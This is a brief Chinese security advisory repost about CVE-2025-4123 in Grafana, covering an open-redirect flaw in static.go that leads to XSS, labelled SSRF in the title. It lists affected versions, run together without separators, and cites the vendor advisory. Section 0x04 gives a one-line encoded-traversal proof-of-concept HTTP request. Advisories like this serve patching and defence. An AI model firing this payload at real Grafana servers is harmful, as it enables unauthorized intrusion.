0x00 前言
Grafana是一个跨平台的开源的度量分析和可视化工具，可以通过将采集的数据查询然后可视化的展示，并及时通知。用Go语言开发的开源数据可视化工具，可以做数据监控和数据统计，带有告警功能。目前使用grafana的公司有很多，如paypal、ebay、intel等。
0x01 漏洞描述
在受漏洞影响的版本中，由于static.go在处理静态资源重定向逻辑时，未对原始URL路径进行处理，导致可以通过重定向到托管将执行任意 JavaScript 的前端插件的网站，执行恶意的js文件，导致跨站脚本漏洞形成。
0x02 CVE编号
CVE-2025-4123
0x03 影响版本
8.0.0 ≤ grafana <10.4.1811.2.0 ≤ grafana <11.2.911.3.0 ≤ grafana <11.3.611.4.0 ≤ grafana <11.4.411.5.0 ≤ grafana <11.5.411.6.0 ≤ grafana <11.6.112.0.0 ≤ grafana <12.0.1
0x04 漏洞详情
SSRF POC：
GET /render/public/..%252f%255Cxxx.xxxx.xxx%252f%253F%252f..%252f.. HTTP/1.1Host: 127.0.0.1:8080
0x05 参考链接
https://grafana.com/security/security-advisories/cve-2025-4123/
原文始发于微信公众号（信安百科）：CVE-2025-4123｜Grafana SSRF漏洞（POC）
免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论